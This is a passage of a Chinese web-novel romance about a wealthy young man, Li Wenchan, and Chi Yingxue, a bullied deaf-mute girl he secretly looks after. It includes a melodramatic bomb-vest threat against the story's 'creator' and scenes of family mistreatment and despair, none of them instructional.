“以后要有能用得上的地方,你尽管提,大家一起喝汤。”男子笑起来满脸横肉,语气意味深长,“吃肉。” 陈秘:“不好意思,孙总,我们老板不吸烟。” 孙总皱眉:“我记得你回大陆前……” 李闻蝉皱起眉,陈秘连忙提醒:“太太不喜欢,老板戒五年了。” “嗨。” 孙总想起传闻里李闻蝉那个太太,不由惋惜。 青年才俊,前途无量,偏偏娶了一个聋哑人当太太。一看就知道,这是池家老爷子为了控制李闻蝉,强行逼迫他的手段! 没看老爷子一去颐养天年,这位池太太就“住院不醒”了? 孙总自觉看透一切,拍了拍胸脯:“京城这边有很多特色的会所,要不我带闻蝉你……” “你很吵。” 李闻蝉淡淡开口,说完就出了电梯。 陈秘拦下在后面倚老卖老的孙总,擦了把汗。太太昏迷这么久,老板的脾气越来越差了。 韩潇正好从另一个电梯里下来,听陈秘书说了刚才的事,一脚踏进李闻蝉的办公室:“其实孙老头给的条件还行,你真要撤销合作?” 顶楼落地窗外的繁华景象开阔壮观,仅能作为男人的背景。 李闻蝉查看报表,头也不抬:“不尊重她的人,没必要合作。” 韩潇白他一眼:“行。你是大老板,有钱任性。” “……李闻蝉。” 韩潇在沙发上直起身,终于问出那个一直没敢提的问题,“你说你为了她把总部都迁到京城来,要是她这回…还是醒不来。” “你怎么办?” 他今年二十七岁。 他们结婚五年,那人昏迷就有三年多了。 韩潇从不知道李闻蝉竟然会如此执着,最百思不解就是这点——事实上,在韩潇的视角里,好友的的确确只是被池老爷子逼着商业联姻。 为了稳固池家人的血脉,仅此而已。 韩潇年少轻狂时风流,也仅限于拈花惹草,交许多女友。韩家家风在那里,韩潇只享受快餐性的情绪价值,到接吻那一步就没再往下。出国念书后觉得恋爱也没意思起来,大学至今一直单身。 但他好歹还风流过,李闻蝉是半点情字不沾。孟大美女、谢大小姐那样的人从他眼前晃过,李闻蝉和个瞎子一样。 韩潇本来想着这人就是个和尚,对那位太太也只是怜悯啦、责任啦,他让李闻蝉考虑在太太醒不来后试着寻觅他人,被李闻蝉臭骂一顿,再也不敢提。 韩潇没待多久就走了。李闻蝉独自处理文件到傍晚饭点,提着助理准备好的食盒,不出十五分钟就乘车来到京城P大的附属医院。 VIP病房里,李闻蝉把新鲜的珍珠李花束插入白色瓷瓶中,从食盒里娴熟地取出两份营养餐、提拉米苏和用保温壶装好的梨汤,取其中一份,坐到病床旁的小桌子就餐。 护士掩上房门,议论纷纷:“那位先生该有多爱太太啊,三年了,几乎每天都会过来。” “就是,而且长得那么帅……哎,有这样的老公,这池太太怎么还会想不开?” “我听上次来探望的人说,她家里对她不是很好,嫁人后才好了些,可是早就心怀郁结了,哪那么容易解开。” “天哪……”小护士叹惋,“那还真是天妒红颜。真希望这次李先生投资的最前沿手术能成功,把池小姐唤醒。” 病房里,李闻蝉吃完饭,安静地对着病床坐了一会。 雪白的被子,只有微弱而均匀的呼吸起伏。 李闻蝉眸光平静,照常收拾好饭盒,把甜点和她的那份重新装回去。坐回病床旁边处理工作。 夜幕降临。这间VIP病房被特殊安排过,在最阳光明媚的尽头,周围没有任何人员打扰。 门外走廊空空荡荡。一片寂静中,李闻蝉合上笔电,突兀开口:“我知道你在看。” “剧情,天道,还是该叫你,造物主?” 无人回应。 李闻蝉神色不变,淡漠道:“随你回不回应,我这人最不缺的就是耐心。” “我已经等了三年,甚至二十年。” 李闻蝉突然挑了一下眉,“但不缺少,不代表没有限度。” “距离你答应过我的期限已经过了三天,她还没有醒。是觉得不够有说服力吗?没关系,我安排了三天后的手术,在不破坏这个世界规则的前提下,她必须醒来。” “毕竟我们都知道了,整个世界的气运都围绕我这个‘男主角’。没有我的世界,相当于毁灭。” 李闻蝉拉开西装的衣襟。 马甲的扣子一颗颗解开,露出一圈制成带状的液体炸//弹。 “看见这个按钮了吗?” 面前的空气瞬间扭曲。 李闻蝉轻轻地笑起来:“她手术失败,我引爆自己。” 101. 所谓对照组。 九月初。 南城是个大火炉,至此依然保有盛夏日的酷暑。阳光将叶子浸没,流淌金绿色的辉煌。 李闻蝉投进最后一球,压哨三分,力挽狂澜。 胡挚欢呼一声,立马抱上来,被李闻蝉漫不经心地轻轻推开:“热。” 神色淡漠,锋锐眉眼里有些嫌弃的意味,胡挚却依然乐呵呵。 蝉哥就是这样。嘴硬心软,要不是他,他们早输给一班了。 穆雨阳给二人递水。人群一拥而上,李闻蝉皱眉,拎着矿泉水瓶走远。 篮球馆今日被体育生占用,最近可以用来更衣的地方,是游泳馆的二楼。 冰蓝色单面窗前,李闻蝉刚冲完澡,只剩一件黑T没穿。 套头时随意展臂,长眸一瞥,定格在窗外的某处小点。 胡挚打得更久,汗多些。才洗完出来,对着李闻蝉沟壑分明的八块腹肌吹了个流氓哨。 “你看啥呢?” 胡挚跟着他的视线望过去,嘶了一声:“这不是你家老爷子那个刚找回来的侄孙女么?你俩见过了?” “没。”李闻蝉言简意赅。 胡挚没多想什么。一般来说,对话进行到这里就该结束了。 也不算。 正常情况下,就不会见李闻蝉盯别人这么久。 胡挚正要离开,李闻蝉又一次开口:“认识?” 胡挚摇头。 “但我听万姐,噢,就是我左边那个万苏瑶说过。她这人交际花又最嫉恶如仇,据说池鲤鲤那群人眼看着真千金回家,明里暗里各种针对。” 胡挚停顿了一下,压低声音:“这个小可怜还是个聋哑人。池润什么德行圈里都知道,估计在家里也不会护着她。倒是她妈妈还有点心,找了池静俭他爸的关系,给安排进了一班,让池鲤鲤帮忙照顾。” 虽然让胡挚来说,比起照顾,恐怕更方便她们挤兑还差不多。 “不对啊。”胡挚摸摸下巴,“你说这小可怜人生地不熟,怎么一个人在学校里乱转?” 李闻蝉一眨不眨地注视那道焦灼的身影,指尖相抵,轻轻摩挲。 不知道是因为距离太远还是别的原因,女孩看上去太瘦小,手里紧紧捏着一个小本子,走来走去也终究在原地打转。 虹文的花园的确很绕。 李闻蝉穿好黑T,转身抬脚。 “诶等等,我还没吹头——” 脚步声没停。李闻蝉红唇微启,忽然又听胡挚道:“哟,一班的沈神把小可怜领走了。” “蝉哥,你说她刚才在干嘛?总不能是迷路吧……” 李闻蝉脚尖一转,闲靠在楼梯旁的栏杆,不答反问:“你就不能直接叫她的名字吗?” 胡挚挠挠头,又摸摸鼻子:“我没记住嘛。” 李闻蝉面无表情地睨了他一眼,没再说话。 回到家,老爷子发来一份档案。 李闻蝉本来懒得看,把手机往沙发一扔。没走几步又折返,点开文件解压。 老头:「我不放心池润他们。闻蝉,趁你现在还没离开,多帮忙照应照应小丫头。」 池老爷子应该也想到两人不在同班,又补了一句:「你帮不上就算了。老瞿前阵子带的那个项目似乎有人作梗,咱们的重心还得放在这个上面。正好你明年就要去HK,有些决策你来下更合适。」 老瞿跟了老爷子很久,从打江山到守家业。李闻蝉直觉那个慈眉善目的老人有点不对,但论远近亲疏,他未必比得过人家。 李闻蝉不作他想。 进度条不断向前推,加载到99.9%时,文件弹出损坏的窗口。 只能看见最顶端的标题。 原来叫池映雪。 这有什么难记住的。 ——— HK那边的手续出了些问题,李闻蝉抽空过去一趟,正好和唐伯霓一起碰上母亲的学生。 听说他年后要举办纪念画展,唐伯霓有意让李闻蝉借此拓宽人脉,又留了他一段时间。 深夜的游轮,韩潇和李闻蝉碰杯:“大忙人,见你一面可真不容易。” 李闻蝉不置可否,看上去有些心不在焉。橘汁汽水装在香槟杯里,喝出了伏特加的感觉。 韩潇:“想什么呢?” 夜晚的港口边璀璨繁华。深水静默,波光粼粼,美得不似真实。 李闻蝉:“你有没有觉得,人生就和游轮一样,被机械推着朝设定好的轨迹走?” “这样不好吗?”韩潇翘起二郎腿,靠上软枕,“顺风顺水,总好过逆水行舟。好歹你还是游轮不是破船呢。” 李闻蝉摇晃香槟杯,橘色液体冒着细小气泡,“如果我不想到码头呢?” 韩潇听不懂他的哑谜,打了个响指:“你今晚怎么了?是有什么事不合你心意?” 手机屏幕亮了起来。 又是这边房产的突发状况。 李闻蝉自己也搞不懂:“没到那个地步。只是总觉得,老天不想让我回南城。” 韩潇当什么事呢:“不回就不回呗,说的和你回去要好好上学似的。” 李闻蝉:…… 那倒也是。 香槟杯折射昏黄的光线,倒影里慢慢映出一个渺小的虚影。 李闻蝉定睛,什么也没有。只是记忆在眼前的投射。 见鬼。 明明不认识。 ——— 中秋家宴,李闻蝉虽然赶回南城,但遇上些烂人破事。 闲下来已是饭点,就没再赶去。 到了九九重阳前,老爷子喊池静俭去参加侄孙女的生日宴:“我身体有些不舒服,你代表我去。” “之前那个应家不像话,这孩子从小有爹娘比没爹娘还苦;池润一家也是群糊涂蛋,你去给她撑撑场子。” 李闻蝉当时就坐在一边,把玩着手里的车钥匙,没出声。 直到当天,李闻蝉起了个大早,穿上一身西装,自己吹了个头发,出现在老宅池静俭的房间里。 池静俭:“……我今天没空陪你去公司。” “我知道。”李闻蝉优哉游哉道,“你送我一程。” “别添乱。你自己看看顺路么?” 李闻蝉滴水不漏:“我的车都没洗,估计放出灰了,开不了。你先开到你要去的地方,把车留下就行。” 池静俭嘟囔了一句:“你那车库的管理员罢工了?” 李闻蝉满意地目睹池静俭换好衣服,跟在他身后出门,直到在老爷子身边看见双眼通红的唐伯霓。 “闻蝉。”唐伯霓给他发了一些东西,“……你先看完这些。” “听池伯父说你今天没别的事,我给你订了机票,我们一起去……看看她吧。” ——— HK的所有事情告一段落时,南城已入秋。 盛池今年小风波不断,老爷子想让他多来帮忙。反正学校已经联系好,这边的学业可以放一放。 李闻蝉沉吟片刻:“我不是不重情义的人。” “所以?” “快离开了,得趁这个时候,多和胡挚,穆……”李闻蝉停顿半秒,“等人相处。” 老爷子本来还觉得可惜。结果上午的对话,下午手下的小波折就奇迹般自己解决了。李闻蝉微眯了眯眼,面色如常。 梅雨季节。潮湿的空气中,淅淅沥沥的水滴坠落。 池映雪明明记得她带了伞,却怎么找也找不到。 几个同学就在她身边,毫不收敛地嘲讽:“聋哑就是聋哑,刚才你去扔她伞的时候那么大声音,愣是一点没察觉到!” “就是。就这还年级前几呢,就说是作弊的吧!” “小声点,老齐上次怎么罚的你们忘了?” “老齐又不是天天在教室边晃。”有人讥笑,“再说,这聋哑人品行不端,刚来学校就勾搭宁哥,还整天阴恻恻的,也算给她个教训吧!” 池映雪没有伞,班上的同学也不可能借给她。 阳台外的雨不是很大,池映雪在原地垂头站了一会,抽出备用的外套下楼。 外套今早不知被谁滴上了墨水点,正好她知道该如何洗,已经清洗过,还没干透。这下淋雨也不必太心疼。 教学楼一层的大厅前,雨伞圆圆的背面挤满视野。 池映雪刚把外套披在头顶,鞋尖踩到一把伞。 池映雪:? 刚才还没有。 池映雪左看右看,没有人给予她和伞半点视线。 这把伞一看就价值不菲。伞主人应当很爱整洁,黑色的雨伞收得十分规整,一丝磨痕都无。 池映雪推测,应该是不小心掉落的。 再不然,就是池鲤鲤的跟班们故意扔了一把伞给池映雪。她如果捡了,今天下午就会被冠以偷窃的罪名。 类似的事不是没发生过。很奇怪,池映雪静静凝着这把雨伞,莫名不希望是后一种可能。 她把雨伞放到大厅西侧的失物招领处,重新抱着外套走向台阶。 没走两步,雨就倾斜着拍在脸上。 比想象中大,冷。 比上次被泼热水好不少,起码一开始就是冰凉的。 池映雪神色淡淡的,走下台阶,突然被笼罩在一把伞下。 是班上的学委穆雨阳。 池映雪很惊讶地收到一张纸条:「你好,看你没有伞,用我备用的吧。」 池映雪对穆雨阳并不熟悉,却能读出空气里的善意。 她担心被别人看见,会连累到他,慌乱地双手把伞递回去。穆雨阳却更快跑走。 池映雪呆呆地看着消失在大厅拐角的背影,呼吸轻盈了不少。 拐角后。 “蝉哥,多亏你注意到那边有个人,不然我还没发现池映雪又被欺负了呢。” 穆雨阳想着李闻蝉肯定不会知道这些事,义愤填膺地把班里人最近如何污蔑、敌视池映雪讲了一遍。 末了羞愧低头,“其实我们好多人都看不下去,想帮忙,但上次我舍友说了两句,宁世延直接揍了他一顿,又给他一万块封口。” 也就是这点细枝末节的小忙,他们敢搭把手。 “蝉哥你……”穆雨阳试探道,“要不是刚主动和我打招呼,我还以为你不想搭理我了呢。” 李闻蝉眨了眨眼:“没。最近在HK。” 他从背靠的墙前直起腰,活动手腕,脚踝。 现在倒是不发麻了。 李闻蝉慢悠悠地走向失物招领处。 黑色雨伞被湿纸巾擦拭过,在地上沾到的那点灰尘尽数消失。 双手撑在小桌子上,李闻蝉轻笑了声,难以想象地摇了摇头。 真的是个笨蛋。 ——— 临近运动会这段时间,是池映雪自回家以来,最开心的日子。 不知道从什么时候开始,班主任齐老师得知了宁世延和邢芷带头的举动,观察了几天,把证据摆在几人面前给了处分。 虽然池映雪也在群里看见他们故意发给她看的消息,无非就是觉得是她表面唯唯诺诺,实际上偷偷给老师发邮件打小报告,但她没放在心上。 有些事,只要不去看不去想,就可以活得像个……正常人。 池映雪好奇过是谁帮她发了邮件,思考半天,锁定在唯一正面维护过她的沈星桥身上。 正好沈星桥来找她讨论数学题。池映雪写完思路,在草稿后接着落笔:「那件事,谢谢你。」 沈星桥噙着温和的笑意,眸色闪了闪,如池映雪所料写字:「不客气。」 她就知道。 除了沈星桥这个学生会副主席,池映雪认识的人里,没有谁有能力调到虹文的校内监控,当成证据给齐老师发去。 池映雪在虹文并不算开心,为了不让在乎的人担忧,连苹安和裴景也很少联系。池映雪选择性遗忘期中考试时沈星桥默不作声的举动。除了他,不会再有第二个人对她这么好了吧。 池映雪对许苹安报喜不报忧地说了沈星桥,许苹安问她:「小雪,你是不是喜欢他?」 池映雪愣了一会:「为什么这么说呀?」 许苹安:「你说他对你特别好,你也很不想失去他。你想,现在你回到家里,肯定有很多新朋友和以前应家那些人没给过你的很多很多爱,可还是会唯独珍惜他和你的关系,这不是喜欢是什么?」 是这样吗? 虽然苹安获取的信息是不全面的,但池映雪还是琢磨起来。 似乎是。不然为什么有次在选修课上,沈星桥放弃和池鲤鲤同桌而选择坐到池映雪身边的时候,她会开心。 嗡。 妈妈发来消息。很巧,秦书通知池映雪的就是有关选修课座位的事。 「小雪,鲤鲤数学不好,选修课得和星桥坐,多听他讲讲。我刚才也征求过星桥的意见,一致决定以后都让他们两个一起。你就别再找星桥同桌了好吗?」 池映雪有些失落,幸好没有伤心的感觉。 妈妈的话虽然怪怪的,可池鲤鲤数学确实不好。池映雪不想再像从前那样看见秦书失望的眼睛,连忙打字:「好的。」 运动会时,池映雪倒在地上。 她旁边就是相撞的池鲤鲤。池映雪看见秦书在看台上焦灼的眼睛,心想,完了。 让妈妈担心……不。 应该说,让妈妈失望了。 周围很多人看池映雪的眼神,就和她是故意的一样。 视野中心唯一的清明,沈星桥逆光奔来。池映雪定定地看着他。 看他跑向她。 她身边。 沈星桥抱起池鲤鲤。 池映雪突然有种如释重负的感觉。 其实她有猜到,其实……每次都是这样的。 没人会坚定地走向她。 池映雪在沈星桥温润的眼眸里看见深深的挣扎,反倒奇怪起来。被放弃的人是池映雪,沈星桥却看上去同样落魄。 沈星桥匆匆折返回来的时候,池映雪已经自己撑着起身。 有女生想拉她一把。 池映雪抬起眼,认出号码牌是五班的。 女生高挑好看,留有空气刘海,看上去就散发着温暖的气息。 池映雪有些鼻酸。她现在风评特别差,不敢靠近对方,所以拒绝了那只伸出的干净的手。 天台上,胡挚隔老远将操场跑道的一幕尽收眼底:“哎哟,我万姐想交朋友,被拒绝了。” 章子健在卷子里抬头,玩笑道:“谁啊,交际花也有马失前蹄的时候?” 胡挚:“一班那个池……” 池什么来着。 他记性什么这么差了?胡挚问章子健:“毽老师你记性好,就那个考得不错,有风言风语说作弊的转校生,叫啥啊?” 章子健垂眸静思,嘶了一声。 “池映雪。” 清声掷地。两个男生一起回头。 李闻蝉闲靠在天台的栏杆,自上而下俯瞰已经走出跑道的身影。 “她叫池映雪。” 章子健一拍脑门:“我去给Stella交英语作业时听她们班课代表说什么‘小偷池映雪’,是这个人?” “哈?”胡挚仔细回忆池映雪的长相,毫无结果,只记得乖乖的吧,“不像啊。” 李闻蝉不耐烦地皱起眉,轻啧:“不可能。” 章子健推了下眼镜:“……你认识她?” 秋风扫过天台的灰尘,午后日光轻轻覆在细小的砂砾上。 HK那边的校长打进电话,与此同时,唐姨的消息也赫然在目。 李闻蝉抿住红唇,良久吐出一句话:“现在不认识。” ——— HK的冬天比南城还有京城好得多。尽管如此,李闻蝉还是瘫在床上,手指在键盘上敲得飞快。 韩潇拎着披萨和小甜水进门:“胡挚刚和我发消息说还是你会省事,眼看马上转走,连今年的研学旅行都懒得参加。” 李闻蝉移开电脑,编程的界面密密麻麻,索然无味。 漆黑的双眸看向白茫茫的天花板。 “我发现一件很玄学的事。就算我想合群,也总会冒出这样那样的情况。” 李闻蝉咬字清晰,生怕谁听不见似的,“还不如躺平在家打游戏,反而清清闲闲。” “不是吧,你什么时候享受宅生活了?”韩潇最见不得别人躺在家里,“诶,说到玄学,我前两天也碰到了。” “我电脑突然中病毒,天天给我弹什么J国旅游广告,谁要去那小……” 韩潇眼睛一转,走过去把李闻蝉从床上拽起来:“你别说,我看那跨年烟花大会还真不错!走,咱们也订票!” 李闻蝉表情不情不愿,却轻轻一拉就起:“又不是没见过。” “那氛围不一样,到时候还能给胡挚他们个惊喜!走走走,收拾行李去!” 李闻蝉拖着步子被拽走,微不可察地挑了一下眉梢。 飞机落地。 坐在跑车的副驾上,韩潇给胡挚打去视频电话。 正要大喊一声surprise,就听见胡挚背后的吵嚷声:“你那边开party啊?这么闹!” 胡挚火急火燎:“哎呀我不和你闲话了,马上看烟火大会了!” “先别急。”韩潇把手机拉远,“你看我在哪?再看开车这位?” 胡挚那边爆发一声尖叫,随机哈哈大笑:“还有多久到?我出来接你们!” 敞篷车里,迎面的风吹拂浓黑色碎发,逐渐飘落很小片的雪花。 李闻蝉忽然开口:“多带几个男生。” 夜晚。 池映雪走在班上队伍的末尾入场。 前排的人都比她个子高,站在前一个的宁世延更是卯足了劲踮脚,池映雪几乎连天都看不见。 池映雪之前偷偷整过宁世延几次,他不知道。只是有回欺负池映雪,绊倒她的时候发现她校服里、小腹上的热水袋,从那之后就改成这种幼稚的欺负方法。 池映雪偷偷蹲身解开宁世延的鞋带,放在他身边朋友的脚下,从人群里挤了出去。 这一块都是学生和老师,池映雪回头看了一眼,在五班的队伍里看见那个留有空气刘海的女生。 池映雪后来有悄悄留意过,她叫万苏瑶,人缘非常好。万苏瑶此刻就在和另一个容颜清秀的女生手挽手谈笑,池映雪抿了抿嘴,转过身灰溜溜地走远。 越走就越僻静。 他们是在一条河,抑或是海洋的细流旁边看烟花。池映雪现在站的地方前面就是深沉的水面,在夜里散发柔软而神秘的黑色,几乎要将她吸进去。 其实。 吸进去也不会有人发现吧。 池映雪踩在与水面相互隔绝的不知名野草上,万籁俱寂。 彩色。 代替了黑色,在一刹那间覆盖整层水面。 波光潋滟。池映雪不由抬起脸,微微张开嘴巴,注视漫天展开的烟花。 好漂亮。 好美。 一个人看的烟花,就像是只放给她一个人看的烟花。 但那怎么可能呢。池映雪吸了吸鼻子,勾起唇望着光彩夺目的夜色满足地笑。这样已经很好了。 烟花消逝,天空又一次黑起来。池映雪拿出手机,果然已经过了零点。 她旋过身,只一秒钟,没来由地怀着希冀,再次朝背后的天空看去。 蓝紫色光华忽然充盈湿润的眼眶。 池映雪的眼睛瞪得圆圆的,真的看见天空中再次燃起新一轮、观赏手册之外的烟花—— 雪花形状,从中心开始蔓延、绽放、燃烧,安静而温柔地照映身前绝望的池潭。 对面的岸畔。 胡挚他们搬完东西就跑回班里。韩潇叼着烟,啪嗒啪嗒按动打火机,又点燃一根烟花棒。 “李闻蝉你敢耍老子。”韩潇死活想不通怎么回事,吐着烟圈,“这烟花要定制,主办方要联系,你什么时候准备的?!” 最关键的是,他不是说不来吗? 李闻蝉席地而坐,从对面收回视线,眯眼淡笑。 他也取了根烟,用韩潇手里的烟花棒点燃,捻在指尖没有抽。 猩红色安静地燃亮,李闻蝉气定神闲:“唐姨10月份访校,那时就知道今年研学的地点。” 韩潇嘀咕:“知道就知道呗,看个烟花给你搞得这么大费周章。” 李闻蝉不置可否。 话虽如此,他根本不看头顶的烟花。漆黑的眼睛紧紧遥望对面独自伫立的身影,一刻不离。 看同一片烟花,也算是一起看烟花。 怎么还是这么瘦啊。 李闻蝉想。 韩潇:“你这烟花还挺漂亮的,明年给我生日也整一个。” 李闻蝉:“是漂亮。” 比烟花漂亮。 ——— 李闻蝉和韩潇来了,胡挚跟徐静萌好说歹说,终于得到不回酒店的豁免权,同他们在韩潇市中心的房产里打了一夜游戏。 次日,韩潇拉着李闻蝉出门溜达了半天。 走向停车场的路上,李闻蝉吸吸鼻子,裹上刚从韩潇家里翻出来的、被这位少爷配货后随意扔在衣柜角落的围巾。 还有点橘子香,据说是洗护机构的杰作。 李闻蝉对香味没什么喜好,无语地看着购物袋里的丑面具:“你想躲前女友就直说,不用装模作样来逛街,买一堆没用的东西。” “我哪知道她那么执着,让共友看我朋友圈在J国就连夜飞过来。”韩潇翻了个白眼,“我可不吃回头草,当初说好聚好散的。更何况谈的时候就觉得没意思了。” “没意思你还谈。” “你说得对。”韩潇拍李闻蝉,“你这样的就挺好,孤家寡人,一心搞钱。我突然觉得该向你学学,免得我韩家家业在我手里栽了。” 李闻蝉突然恶狠狠瞪了他一眼,没好气地念叨:“……好什么好。” 韩潇耸耸肩。上车后忽然想起家里有个可移动监控,准备苦中寻乐,吓唬吓唬胡挚。 也不知道这个昏睡如猪仔的家伙醒了没。 结果一打开,看见胡挚在玄关换鞋。 “What''supman?” 韩潇直接打去电话。李闻蝉在他的另一部手机里瞥了一眼胡挚的下半身,嘴角抽了抽。 他将购物袋放在跑车后排,手背贴上额头,似乎有点烧。 李闻蝉从小到大就没感冒过,压根没当回事,悠悠开往刚才刷到的餐厅。 韩潇:“看你急的,裤子都穿反了。” 胡挚边脱裤子边回话:“一班那个池映雪丢了!就在半条街外那个十字路那边,万姐喊我一起去帮忙找!” ——嘎!!! 跑车来了个急刹。 韩潇往前一倒,幸好有安全带护体:“李闻蝉你车技退步得可以啊?!” 李闻蝉双手紧紧攥住方向盘,脚踩油门,跑车尾部甩出漂亮的流线掉了个头。 韩潇:“你干嘛?你……” 前方的交叉路口在一瞬间拐入几道车流,聚集眼前。李闻蝉轻而易举超过几辆故意挑衅的慢速车,在轰鸣的引擎声里咬牙切齿:“逛街。” 繁华都市的中心地段。 夜幕逐渐降临,本就人来人往的璀璨橱窗显得更加富丽。 池映雪在咖啡店的门口坐了很久很久。她没有钱,也不敢进去,怕被赶出来。 池映雪出门前正好在洗澡,酒店里暖气充足,没料到外面这么冷,连围巾都没带。 白色大衣上,冬日的寒风吹开黑发,灌入纤细的脖颈。 池映雪搓了搓手,呼吸间白雾飘散。 天空中逐渐下起雪。 纯白色,寒冷在鼻尖化开,像要将人淹没。 答应好苹安和裴景的合照,箱子到现在还不知所踪。 手机里是沈星桥发给池鲤鲤的消息。 咖啡厅里没有人在。几个小时了,她鼓起勇气找路人被一把推开,也没有任何一个人来找她。 池映雪漫无目的地走在异国的十字路口,街头擦肩而过的全是陌生而匆匆的面孔,与繁华相对的,是耳边可怕的寂静。 这下真的成小偷了。 ——为什么,什么都做不好呢? 雪越下越大,落在池映雪的睫毛上。 一道黑影忽然挡住她的去路。 池映雪抬头,不由得后退半步。 黑色的长风衣外套,黑鞋子,藏青色围巾。 高挑修长,看起来骨骼就生得很好。只是带着一个宽大又怪异的面具,让人看不清脸。 男子向她伸出手,冷白色的皮肤与黑色袖口形成强烈对比。手背青筋十分明显,骨骼分明的指节染着很浓的粉红色。 怪人。池映雪想。 池映雪遇见过各种各样的恶意,知道要对陌生人怀有防范之心。 可是此时此地,莫名其妙,想要任性一回。 也许是因为他是第一个,会绕过眼前的人群来找她的人。 也是第一个,向池映雪伸出手,而她不用担心是否会连累到的人。 池映雪慢慢地握住那双手,猝不及防地被紧密攥住。 也许是池映雪的手太冰了。大手将她的手掌完全包裹,烫得不正常,像要将她融化。 面具后的人有没有说话,池映雪不知道。 她就这样稀里糊涂地被牵着走,直到看见了熟悉的面孔—— 年级里的同学,有万苏瑶,齐老师,居然还有池鲤鲤。沈星桥也在,正握着那个丢掉的小行李箱。 他们在人行道的对面向池映雪招手,池映雪下意识抬起手 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碎发被围巾的褶皱拂起,在眼角痒痒麻麻。红绿灯闪烁变换,人群开始流动,修长的身影从惹眼变得模糊,直到消失不见。 鼻尖萦绕着柑橘的香气。 那边。李闻蝉被韩潇打趣:“那谁啊?怎么也不多和人家说说话?” “你说你也真是。我还以为你要帮胡挚他们找人呢,结果连照片都没要,下车就满大街乱晃。”韩潇为了摆脱刚才偶遇的孽缘前女友一行人,步伐匆匆,“我刚来的晚,只看见那小姑娘牵你袖子,怎么,你现在都可以被搭讪的人随便碰到了?还把围巾给人家,你老实交代……” “——哎!!!” 身旁的人影忽然向前栽去。韩潇眼疾手快地扶住。 面具掉落在地,哐当一声,露出一张烧红的脸。 ——— 池映雪回国的时候,围巾上的香味已经很淡了。 网上说木盒子可以留香,池映雪买了一个方便携带的,把围巾整齐叠好,小心翼翼地放进去。 回家后,池润听说了在J国的事,对池映雪十分失望。 他觉得池映雪这么大人了居然还能走丢,不管什么原因,都让家里蒙羞。 秦书心疼池映雪,但忍不住替池润说话,还赞同池润给池映雪请礼仪老师的打算。寒假里一家人带池鲤鲤去国外探望池怀元,池映雪留在别墅里上课。 除夕夜。池映雪一个人看完没声音的春晚,对着空空如也的消息列表发呆。 要主动发新年快乐吗? 池映雪点开池鲤鲤的动态,在里面看见发送于10分钟前的一家四口合照,下面有一百多个人点赞,评论全是“新年快乐”“鲤鲤真是小公主呀”。 算了。 好像会打扰人家。 池映雪安静地关电视,上楼,突然发现住家的礼仪老师神色匆匆地从三楼下来。 见了她,起初很害怕,又突然得意起来。 池映雪的怀疑一闪而过。只是她也不被允许上三楼,礼仪老师在教池鲤鲤的时候反倒去过。 怀疑是怀疑。 池映雪在心里酝酿出最差的一种后果,却没有想要管的心力。 其余人回家后,发现秦书和池鲤鲤的首饰少了一大半,在礼仪老师的指证下怀疑到池映雪身上时,她反而感到尘埃落定。 池映雪记得那天,秦书先是勃然大怒,而后失望透顶,后来不知为何却泪流满面起来。 秦书找来一个心理医生,用纸笔对话完后,池映雪才从对方的话里得知,原来从被冤枉直到现在,她一滴眼泪都没有掉诶。 池映雪的表情淡淡,被秦书哭着、池润铁青着脸,送到桥对面一处无人问津的宅子里。 走时唯一紧紧抱住的,是那个木盒子。 一年,两年。 第三年。 池映雪到了20岁,法定的结婚年龄,池润忽然变得很爱来看望她。 秦书总是带亲手做的糖醋小排过来,还有许多甜点。池映雪被喂圆润了一些,看起来像个正常人,却总觉得自己好像还消瘦着。 某天,池润喜气洋洋:「小雪,爸爸妈妈给你找了一个特别特别好的男人当丈夫。你根本想象不到他有多神,多么有钱……」 池映雪愣了很久,回到房间,给手机充上电。 开机,消息积累得很多,除了齐幂等几位老师过期了的好友申请,都是群聊。 一个不知道什么时候添加的群聊一直被顶上去,池映雪点进去。 「你们听说了吗?小偷要被送去联姻了!」 「天啊,刚满20就嫁人,是有多恨嫁啊?」 「哎呀,聋哑、品行差,还整天自闭在家里,阴森森的,能联姻为家里做点贡献也就是唯一一点好处了吧?」 「谁会娶她啊?别也是什么地中海大肚子的中年老板,两个没人要的货色凑一对!」 「我知道池映雪要联姻的是谁。」 「是个大款老板。我爸爸叫他李总。估计就和什么张总、王总……一样,一听就是那种大腹便便的中年商业男士,不然怎么会看得上池映雪这种货色?我要是池映雪,现在就赶快拿着身份证逃走,逃得远远的,不结这个婚。」 「好歹同学一场,要是她来找我,我还是愿意帮她逃到国外去的。」 国外。 池映雪的心轻轻一动。 指尖颤抖地点开说话者的头像,直到看见女生的名字是邢芷,池鲤鲤的好友,才暂时歇下心思。 池映雪坐了很久,计算了一下楼下的佣人数目,睫毛向下垂。 她慢吞吞地起身,走向窗边,向下探出头。 那位姓李的大老板。 值得她跳下去吗? 池映雪以为自己对什么都不在乎了,想起池润刚才的神情,又生出一股愤怒。 不多,但很浓烈,足以支撑她舍命一搏。 早春三月,还是有些冷。 池映雪回头凝视木箱子,犹豫要不要戴的时候,从这两天开始一直被锁住的门忽然打开。秦书带着绳索走近。 ——— 坐在出租车里,池映雪已经不想去探究秦书和池怀元为什么突然帮了她。 可她又能去哪里?池润只给她开了亲属卡,就连这个出租车都会被追踪到,她能逃多久。 池映雪抱紧木盒,让司机随便停在哪里,最后居然到了虹文周边。 池映雪想起来一个画面。 她被池鲤鲤等人故意落下,寻找地铁站时,在附近的一条美食巷里远远看见五班的万苏瑶同学。她和其余几个朋友一起吃街边的小吃,看起来很香。 池映雪今天中午吃的又是糖醋小排,下午还没吃,饥肠辘辘地朝巷子里走去。 池映雪在卖鸡柳的小车前驻足。 铁盘边贴着一张手写菜单,“炸鸡柳”的上方写有标红的“我是聋哑人,请用手指点下,扫码付款,谢谢理解!” 老板夫妻二人瞧见她,热情地招了招手。池映雪已经很久没和人沟通过,手语都生疏了,磕磕绊绊地比划:请问你们收学徒吗? 老板娘一看就知道她也是聋哑人,连忙摘掉手套,走近池映雪。 你是想学炸鸡柳吗?你成年了吗? 池映雪:嗯,我今年20岁了。和家里人发生了很多事,他们要送我去结婚。 池映雪低下头:我不想嫁给一个不认识的人。 老板娘本来看到前半段,不想管了,读完后叹了口气,把池映雪带到旁边的公共就餐区,给她炸了很大一份鸡柳,还倒了杯热水。 老板娘:你看着也太小了,哪里像20岁的人。先吃饱饭再慢慢和我说,到时候你想学,我肯定教。 池映雪忙站起来道谢,她要给钱,老板娘也不要,拎上说要帮她存放的木盒,转头就走了。 池映雪愣了一会,望着又香又冒着热气的鸡柳,终于没舍得放凉。 边吃,眼泪边落在鸡柳上。 好咸。 可是比糖醋,排骨什么的好吃多了。 